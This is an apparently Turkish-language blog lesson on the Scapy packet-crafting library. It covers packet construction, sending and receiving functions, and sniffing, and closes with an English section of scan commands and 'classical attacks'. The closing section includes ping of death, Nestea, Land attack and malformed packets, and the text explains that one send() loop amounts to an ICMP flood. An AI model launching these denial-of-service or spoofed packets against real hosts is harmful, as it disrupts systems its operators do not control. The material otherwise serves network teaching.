Welcome to My Blog 👋

Java, Spring Framework, Microservices, Docker, Kubernetes, AWS and Others 🚀
Follow Me

Bİlgisayar Ağları - Ders 12 - Scapy



  November 11, 2017    Labels:,,,,, 

Scapy, network ağları için özelleştirilmiş paketler üretmeye yarayan python ile yazılmış bir kütüphanedir. Scapy ile aynı zamanda network tarama ve analiz işlemleri yapabiliriz. Scapy python ile yazıldığı için ilgili uygulamalar kuruluğu zaman (python, nmap, Vpython, pcap v.b) Windows ve Linux sistemler ile komut satırından sorunsuz bir şekilde çalışır, platform bağımlılığı yoktur. Scapy’i diğer programlardan (nmap, hping v.s) ayıran özelliği esnek bir yapıya sahip olmasıdır. Esnek yapıdan kastımız ise bu programlar size tasarımcısının sunduğu özellikleri kullanmanızı sağlarken, scapy ile bunların yanında kendi ihtayıcınıza özel TCP/IP paketlerini oluşturarak bu paketler ile networkünüzü analiz edebilirsiniz. ARP paketleri oluşturarak sisteminize arpspoofing testleri yapabilirsiniz.

Scapy Kurulumu
  • $ cd /tmp 
  • $ wget --trust-server-names scapy.net       # veya wget -O scapy.zip scapy.net 
  • $ unzip scapy-x.x.x.zip 
  • $ cd scapy 
  • $ sudo python setup.py install
komutları ile kurulum gerçekleştirilir.

Scapy'i Başlatmak
  • Sudo Scapy
komutu ile scapy başlatılır.

Scapy Kullanımı

Öncelikle Scapy’nin Python 2’de çalıştığını bilmemiz gerekmektedir. Yani Python’ın 3.x versiyonları için geliştirilmiş bir kütüphane değildir. Bunu ek bir not olarak belirtmekte fayda var. Scapy’i Python 3.x sürümlerinde de kullanabilmek için Github’da bazı repositoryler mevcut fakat, ne kadar sağlıklı çalışır onu bilemem. Bu sebepten dolayı örneklerimiz hep Python 2.x sürümleri için geçerli olacaktır. Bu bilgiler ışığında lafı daha fazla uzatmadan Scapy kütüphanemizi aşağıdaki gibi import edelim.
  • from scapy.all import *
Bu aşamadan sonra artık Scapy kütüphanemizi programlarımızda kullanabiliriz. İlk olarak herhangi bir paketin nasıl oluşturulup bir değişkene atılabileceğinden ve daha sonra da Scapy’nin bize sağlamış olduğu çeşitli fonksiyonlarından bahsedelim.
Yazının bu aşaması artık tamamen örnekler üzerinden gidecektir.
  • ethernet_frame = Ether()
  • ethernet_frame.show()
Yukarıdaki örnekte ethernet_frame adında bir değişkene Ether() sınıfından bir Ethernet nesnesi oluşturarak Ethernet paketini atamış olduk. Evet cümlenin birazcık tuhaf olduğunun farkındayım, fakat durum tam olarak böyle. Bu değişkenin içeriğine bakmak için ise daha sonra yine Scapy’nin bize sağlamış olduğu bu nesnenin show() metodunu kullandık. Çıktımız ise aşağıdaki gibidir.
###[ Ethernet ]###
  • dst = ff:ff:ff:ff:ff:ff
  • src = xx:xx:xx:cb:ed:cd
  • type = LOOP
gördüğünüz gibi burada dst, src ve type şeklinde üç adet değişken var. İşte biz Scapy’nin bize sağladığı esneklik sayesinde bu değişkenleri istediğimiz gibi değiştirebiliyoruz. Bu da bize farklı farklı network paketleri oluşturup çeşitli toolları geliştirmemize olanak sağlıyor. Burada dst kısmına istediğiniz bir MAC adresini yazıp paketinizi o mac adresine gönderebilirsiniz. Bu paket gönderme kısmının örneklerine de yazının ilerleyen kısımlarında anlatacağım. Şimdi de bu değişkenleri nasıl değiştireceğimize bir bakalım.
  • ethernet_frame = Ether()
  • ethernet_frame.src = "aa:bb:cc:dd:ee:ff"
  • ethernet_frame.show()
Çıktımız ise aşağıdaki gibidir.
###[ Ethernet ]###
  • dst = ff:ff:ff:ff:ff:ff
  • src = aa:bb:cc:dd:ee:ff #değişen kısım
  • type = LOOP
Örnekte de görüldüğü gibi source mac adresi değişkeni, oluşturduğumuz cihazın ağ kartının default mac adresinden farklı olarak bizim atadığımız bir değerledeğişmiştir. Normalde böyle bir durum olmaz, fakat scapy bize bu imkanı sunmuştur. Bu mantıkla bu ethernet frame’nin diğer değerlerini de değiştirebilirsiniz. Fakat bu değerleri protokolün yapısındaki mantığa göre doldurmanız gerekmektedir. Gider mac adresi kısmına IP adresi atarsanız veya başka bir değer atarsanız, o zaman bu paketler düzgün bir şekilde çalışmayacaktır. Şimdi de bir IP paketinin yapısına bakalım.
  • ip_packet = IP()
  • ip_packet = show()
Çıktımız ise aşağıdaki gibidir.
###[ IP ]###
  • version = 4
  • ihl = None
  • tos = 0x0
  • len = None
  • id = 1
  • flags = 
  • frag = 0
  • ttl = 64
  • proto = hopopt
  • chksum = None
  • src = 127.0.0.1
  • dst = 127.0.0.1
  • \options \
Gördüğünüz gibi IP paketinin içindeki tüm değişkenler görülmektedir. Aslında dikkat ederseniz bu değişkenler IP Headerındaki alanların aynısı. Biz burada IP Header’ı içindeki alanları kendi isteğimize göre değiştirme işlemini yapıyoruz. Aşağıdaki örneği inceleyelim.
  • ip_packet = IP()
  • ip_packet.src = "192.168.1.2"
  • ip_packet.dst = "192.168.1.11"
  • ip_packet.ttl = 128
  • ip_packet.show()
Çıktımız ise aşağıdaki gibidir.
###[ IP ]###
  • version = 4
  • ihl = None
  • tos = 0x0
  • len = None
  • id = 1
  • flags = 
  • frag = 0
  • ttl = 128 #Değiştirdiğimiz kısım
  • proto = hopopt
  • chksum = None
  • src = 192.168.1.2 #Değiştirdiğimiz kısım
  • dst = 192.168.1.11 #Değiştirdiğimiz kısım
  • \options \
paketlerin içerisindeki alanların nasıl değiştirildiği mantığını anladığınızı ümmit ediyorum. Scapy’nin desteklediği tüm protokolleri görmek için ls() fonksiyonunu kullanabilirsiniz. Bu fonksiyon sonrası çıkan tüm protokolleri <protokol_adı>.show() şeklinde görüntüleyip, yukarıdaki örneklerde yaptığımız gibi içeriğini değiştirebilirsiniz. Şimdi ise değiştirdiğimiz bu paketleri nasıl göndereceğimizi inceleyelim.

Scapy'de Paket Gönderme ve Veriyi İşleme

Artık bir paketi nasıl manipüle edebileceğimizi biliyoruz, fakat takdir edersiniz ki amacımız sadece bir protokolün içeriğini manipüle etmek değil, aynı zamanda bu manipüle edilmiş paketi göndermektir. Bunun için Scapy bize temel olarak 6 adet fonksiyon kullanma imkanı sağlamıştır. Aşağıda bu fonksiyonları görmekteyiz;
  • send()
  • sendp()
  • sr()
  • sr1()
  • srp()
  • srp1()
işte bu fonksiyonları yazacağımız scriptler içerisinde etkin bir şekilde kullanırsak ve nasıl davrandıklarını bilirsek, çok ama çok önemli bir yol kat etmişiz demektir. Şimdi sırası ile bu fonksiyonları örnekler ile inceleyelim.

send()

Bu fonksiyon sayesinde oluşturduğumuz paketleri cihazımızdaki ethernet kartı veya wireless kartı vasıtası ile iletim ortamına gönderebiliyoruz. Aşağıdaki örneği inceleyelim.
  • send(IP(dst="192.168.10.14", src="192.168.10.62")/ICMP()/"Scapy")
şimdi bu kodu yazıp scriptimizi sudo <programadi>.py olarak çalıştırdığımızda bize şu şekilde bir çıktı verecektir.
  • .
  • Sent 1 packets.
Buradan anlıyoruz ki, kodumuz sağlıklı bir şekilde çalışmış. Aşağıda bu kodun Wireshark ile dinlenmiş hali gözükmektedir.



Tamam buraya kadar her şey güzel fakat, burada syntax açısından biraz farklılıklar var. Kısaca buna değinmekte fayda var. Sadece tek bir protokol yerine birden fazla protokolden oluşan bir network paketini oluşturmak içinTCP/IP protocol yapısını bilmek gerekir. Mesela HTTP isteği sadece HTTP datasından ibaret değildir. Öncelikle bu HTTP datasını kapsülleyen bir TCP datagramı, bu datagramı kapsülleyen IP paketi, IP paketini kapsülleyen bir Ethernet frame’i vardır. Yani yapı şu şekildedir. Ethernet > IP > TCP > HTTP data . Dolayısıyla Scapy’de de paketlerimizi oluştururken bu yapıya dikkat etmemiz gerekmektedir. Örneğimize geri dönecek olursak protokol başlıklarını sırası ile sonuna () koyarak ekledik. Daha sonra / işaretini de kapsülleyici olarak kullandık. Mesela IP() ile ilk olarak IP paketimizin başlığını eklemiş olduk. Daha sonra parametre verme mantığı ile source ve destination adreslerini src ve dst değişkenlerini kullanarak örnekteki gibi değiştirdik. Daha sonra ICMP() ile ICMP başlığını ekledik. Bu ICMP başlığının payload kısmına da verimizi yerleştirdik. Bu kapsülleme işlemlerini de hep / işareti ile yaptık. Tüm bu işlemlerden sonra artık içinde Scapy yazan bir ICMP paketi oluşmuş oldu. Bizim amacımız bu paketi göndermekti. İşte bu paketi de send() fonksiyonumuzun içine yazarak göndermiş olduk. Genel olarak süreç ve yapı bu şekildedir. Gerisi teferruattur. Şimdi aşağıdaki örneğimizi inceleyelim.
  • send(IP(dst="192.168.10.14")/ICMP()/"Scapy", loop=1, inter=0.2, verbose=False)
Burada dikkat ettiyseniz IP başlığı içinde src= kısmını belirtmedik. Böyle bir durumda Scapy otomatik olaraksizin o an bulunduğunuz networkteki aldığınız IP adresini src= kısmına atar. Daha sonra loop=1 ile bu send() fonksiyonumuzu sonsuz bir döngüye sokuyoruz. Yani biz programı durdurana kadar 192.168.10.14 ip adresli cihaza bu ICMP paketini gönder diyoruz. Sonrasında inter=0.2 parametresi ile her gönderilen paket arasında 0.2 saniye kadar bekle diyoruz. Yani bu paketleri 0.2 saniye aralıkları ile gönder. verbose=False ile de, bu paketleri gönderirken ekrana gereksiz çıktı verme diyoruz. Evet bu tek satırlık kod parçası aslında network güvenliğinde ICMP Flood saldırısına olanak vermektedir. Tabi tek bir cihaz ile bu saldırıyı yapmanız oldukça zordur, fakat dağıtık bir yapıda saldırının gücü artacaktır. Aşağıdaki wireshark görüntüsü bu kodun çalışma yapısına ışık tutmaktadır.

sendp()

Bu fonksiyonumuz ise temel olarak, send() fonksiyonu ile aynı görevi üstlenmektedir. Fakat aralarındaki temel fark şudur; send() fonksiyonu ile Layer 3 düzeyinde işlemler yapabilirsiniz, Layer 2(802.3, 802.11, 802.1q, 802.15..) yani bu örnekteki Ethernet çerçevesinde değişiklik yapamazsınız, bu değerler otomatik olarak Scapy tarafından(dolaylı yoldan işletim sistemi tarafından) doldurulur. Fakat sendp() fonksiyonu ile Layer 2 katmanında da paketlerinizi manipüle edebilirsiniz. Yani Ethernet çerçevesinde istediğiniz değişikliği yapabilirsiniz. Şimdi bu teorik bilgiden sonra aşağıdaki kodumuzu inceleyelim.
  • sendp(Ether(src="aa:bb:cc:dd:ee:ff")/IP(dst="192.168.10.14")/ICMP()/"Scapy", count=10, inter=0.2, verbose=False)
Burada gördüğünüz üzere ICMP paketimizin Ethernet çervesindeki source mac adresini src değişkeni vasıtasıyla aa:bb:cc:dd:ee:ff olarak değiştirdik. Bu kodun yazılı olduğu programı çalıştırdığımız vakit, source mac adresi, ağ kartımızın default mac adresinden farklı olan bir ICMP paketi iletim ortamına salınacaktır. Peki kaç defa gönderilecektir bu paket? Tabiki 10 defa, bunu da count=10 parametresi ile sağladık.

sr()

Şimdiye kadar oluşturduğumuz paketlerimizi sadece iletim ortamına göndermekle yetindik. Fakat sadece göndermek bizim için yeterli değil, ağ kartımıza gelen paketleri de değerlendirmek en az göndermek kadar önemlidir. Aslında biz yukarıdaki örneklerde ICMP paketi gönderdirdiğimiz de, cevap olarak bize ICMP Reply paketi gelmektedir, fakat biz o ICMP Reply paketini göremedik ve dolayısıyla o ICMP Reply paketini işleyemedik. İşte bu ICMP Reply paketi gibi bizim ağ kartımızdan gönderdiğimiz pakete cevap olarak gelen paketleri sr() fonksiyonu ile işleme alabiliyoruz. Aynı zamanda sr() fonksiyonu ile paketlerimizi iletim ortamına da gönderedebiliriz. Yani ayrıca send() fonksiyonunu kullanmamıza gerek yoktur.
sr'nin açılımı send and recieve'dir

Aşağıdaki örneği inceleyelim.
  • ans, unans = sr(IP(dst="cyberkod.com")/TCP(sport=9898, dport=80, flags= 'S')) 
  • for send, recieve in ans:
  • send.show()
  • print("--")
  • recieve.show()
Çıktısı ise aşağıdaki gibidir.
###[ IP ]###
  • version = 4
  • ihl = None
  • tos = 0x0
  • len = None
  • id = 1
  • flags = 
  • frag = 0
  • ttl = 64
  • proto = tcp
  • chksum = None
  • src = 192.168.10.63
  • dst = 192.30.252.153
  • \options \
  • ###[ TCP ]### 
  • sport = 9898
  • dport = http
  • seq = 0
  • ack = 0
  • dataofs = None
  • reserved = 0
  • flags = S
  • window = 8192
  • chksum = None
  • urgptr = 0
  • options = {}
--
###[ IP ]###
  • version = 4L
  • ihl = 5L
  • tos = 0x0
  • len = 44
  • id = 0
  • flags = DF
  • frag = 0L
  • ttl = 46
  • proto = tcp
  • chksum = 0xc52c
  • src = 192.30.252.153
  • dst = 192.168.10.63
  • \options \
  • ###[ TCP ]### 
  • sport = http
  • dport = 9898
  • seq = 3181249471
  • ack = 1
  • dataofs = 6L
  • reserved = 0L
  • flags = SA
  • window = 28720
  • chksum = 0xb805
  • urgptr = 0
  • options = [('MSS', 1436)]
Peki biz şimdi burada ne yaptık? Öncelikle S flagi işaretli bir TCP datagramını cyberkod.com adresine 9898 port numaralı soketten gönderdik. Bu gönderme işlemini de sr() fonksiyonunu kullanarak yaptık. Fakat dönen sonucu tek bir değişkene değilde 2 farklı değişkene atadık. Bunlardan ans, gönderilip cevap alınan paket çiftini içermektedir. unans ise, gönderilip cevap alınamayan paketin kendisini içerir. Yani bir ICMP paketi gönderdiniz ama ICMP reply paketi gelmedi, işte bu durumda unans değişkeni içinde göndermiş olduğunuz ICMP paketi olur. Diğer değişkenimiz olan ans değişkeninde ise başarılı bir şekilde gönderilmiş olan ICMP paketi ve o pakete karşılık gelen ICMP reply paketi bulunmaktadır. Bu şekilde aklınızda tutabilirsiniz. Tabi bu örnekte biz TCP datagramı gönderdiğimiz için, ans değişkeni içinde ICMP ve ICMP reply paketleri yerine TCP SYN ile TCP SYN-ACK datagramlarını ihtiva edecektir. Daha sonra bu ans değişkenini bir for döngüsüne sokarak, paketlerin içeriğini show() metodu vasıtasıyla ekrana bastırdık. Özetle sr() fonksiyonu bir paket göndermemizi ve gönderilip, alınan bu paketlerin bir değişkende toplanmasını sağlamaktadır.
sr1()

Bu fonksiyonumuz ise paket gönderip sadece dönen cevabı bir değişkene atama işlemini gerçekleştirmektedir. Yani bir ICMP paketi gönderdiniz, eğer başarılı bir şekilde paketiniz gitti ise dönen ICMP reply paketini bir değişkende saklayabilirsiniz. Yok başarılı bir şekilde gitmedi ise bundan haberdar da olamazsınız. Çünkü sr() fonksiyonunda olduğu gibi bir unans değeri döndürmez. Aşağıdaki örneği inceleyelim.
  • recieved = sr1(IP(dst="google.com")/ICMP())
  • recieved.show()
Çıktısı ise şu şekildedir.
###[ IP ]###
  • version = 4L
  • ihl = 5L
  • tos = 0x0
  • len = 28
  • id = 0
  • flags = 
  • frag = 0L
  • ttl = 54
  • proto = icmp
  • chksum = 0xfb52
  • src = 172.217.17.206
  • dst = 192.168.10.63
  • \options \
  • ###[ ICMP ]### 
  • type = echo-reply
  • code = 0
  • chksum = 0x0
  • id = 0x0
  • seq = 0x0
srp() ve srp1() fonksiyonlarını ayrı bir başlık altında incelemeyeceğim. Mantık aynı send() ve sendp()fonksiyonlarında olduğu gibidir. Yani srp() fonksiyonun sr() fonksiyonundan tek farkı Layer 2 katmınında manipülasyon yapmanıza olanak vermesidir.

sniff()

Yazının sonlarına doğru değinmezsem içimde kalır dediğim bir fonksiyondur sniff() fonksiyonu. Bu fonksiyon sayesinde ağ kartınıza gelen paketleri dinleyip bir değişkene çok kolay bir şekilde atayabilirsiniz. İçerisine gireceğiniz çeşitli filtreler ile spesifik paketleri dinleyebilirsiniz. Örnekleri inceleyelim.
  • pkts = sniff(filter="arp", count=5)
  • pkts.summary()
Çıktısı şu şekildedir.
  • Ether / ARP who has 192.168.10.147 says 192.168.10.1 / Padding
  • Ether / ARP who has 192.168.10.148 says 192.168.10.1 / Padding
  • Ether / ARP who has 192.168.10.149 says 192.168.10.1 / Padding
  • Ether / ARP who has 192.168.10.150 says 192.168.10.1 / Padding
  • Ether / ARP who has 192.168.10.151 says 192.168.10.1 / Padding
Aslında burada yaptığımız şey çok basit. Sniff() fonksiyonundan filter="arp" parametresi vasıtası ile toplam 5 adet arp paketi dinlemesini istedik. Bu fonksiyonumuzda bu paketleri dinledi ve pkts değişkenine atadı. Bu paketlere isterseniz tek tek de ulaşıp, içeriklerini aşağıdaki gibi görüntüleyebilirsiniz.
  • pkts = sniff(filter="arp", count=5)
  • pkts[0].show()
Hatta bu görüntüledeğimiz paketi sendp(pkts[0]) şeklinde gönderedebilirsiniz.

Basit Scapy Komutları

ACK Scan

Using Scapy’s powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:
  • >>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A")) 
We can find unfiltered ports in answered packets:
  • >>> for s,r in ans: ... if s[TCP].dport == r[TCP].sport: ... print str(s[TCP].dport) + " is unfiltered" 
Similarly, filtered ports can be found with unanswered packets:
  • >>> for s in unans: ... print str(s[TCP].dport) + " is filtered" 

Xmas Scan

Xmas Scan can be launched using the following command:
  • >>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") ) 
Checking RST responses will reveal closed ports on the target.

IP Scan

A lower level IP Scan can be used to enumerate supported protocols:
  • >>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2) 
ARP Ping

The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:
  • >>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2) 
Answers can be reviewed with the following command:
  • >>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") ) 
Scapy also includes a built-in arping() function which performs similar to the above two commands:
  • >>> arping("192.168.1.*") 
ICMP Ping

Classical ICMP Ping can be emulated using the following command:
  • >>> ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP()) 
Information on live hosts can be collected with the following request:
  • >>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") ) 
TCP Ping

In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:
  • >>> ans, unans = sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") ) 
Any response to our probes will indicate a live host. We can collect results with the following command:
  • >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) 
UDP Ping

If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:
  • >>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) ) 
Once again, results can be collected with this command:
  • >>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") ) 
Classical attacks

Malformed packets:
  • >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) 
Ping of death (Muuahahah):
  • >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) 
Nestea attack:
  • >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) 
Land attack (designed for Microsoft Windows):
  • >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

No comments:

Post a Comment